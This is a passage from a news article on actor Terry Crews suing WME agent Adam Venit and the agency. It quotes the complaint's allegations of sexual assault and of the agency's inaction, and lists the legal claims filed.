The story, unsurprisingly, went viral. Crews subsequently revealed the identity of the exec: William Morris Endeavor agent Adam Venit. And now, he’s filed suit against the agent and the agency.

The complaint, filed Monday in Los Angeles Superior Court, alleges that “Venit, upon his first meeting Crews, viciously grabbed Crews’ penis and testicles so hard that it caused Crews immediate pain in a blatant and unprovoked sexual assault,” and claims that though he reported the assault to WME the next day, the agency took no action, thanks to their “unspoken policy of not punishing executives and agents for misconduct.”

The actor is suing for assault, battery, sexual battery, sexual harassment, gender violence, intentional infliction of emotional distress, breach of fiduciary duty, negligence and negligent retention and supervision. But, as indicated in his original tweets, he also clearly sees this is a symbolic action as well. As attorney Bryan Sullivan writes in the complaint, “After all, if Crews, a 6’4″, muscled man, former professional athlete, with a long list of entertainment industry credits, can be the victim of sexual assault at the hands of a much more powerful individual in the entertainment industry, anyone can be a victim.”

                

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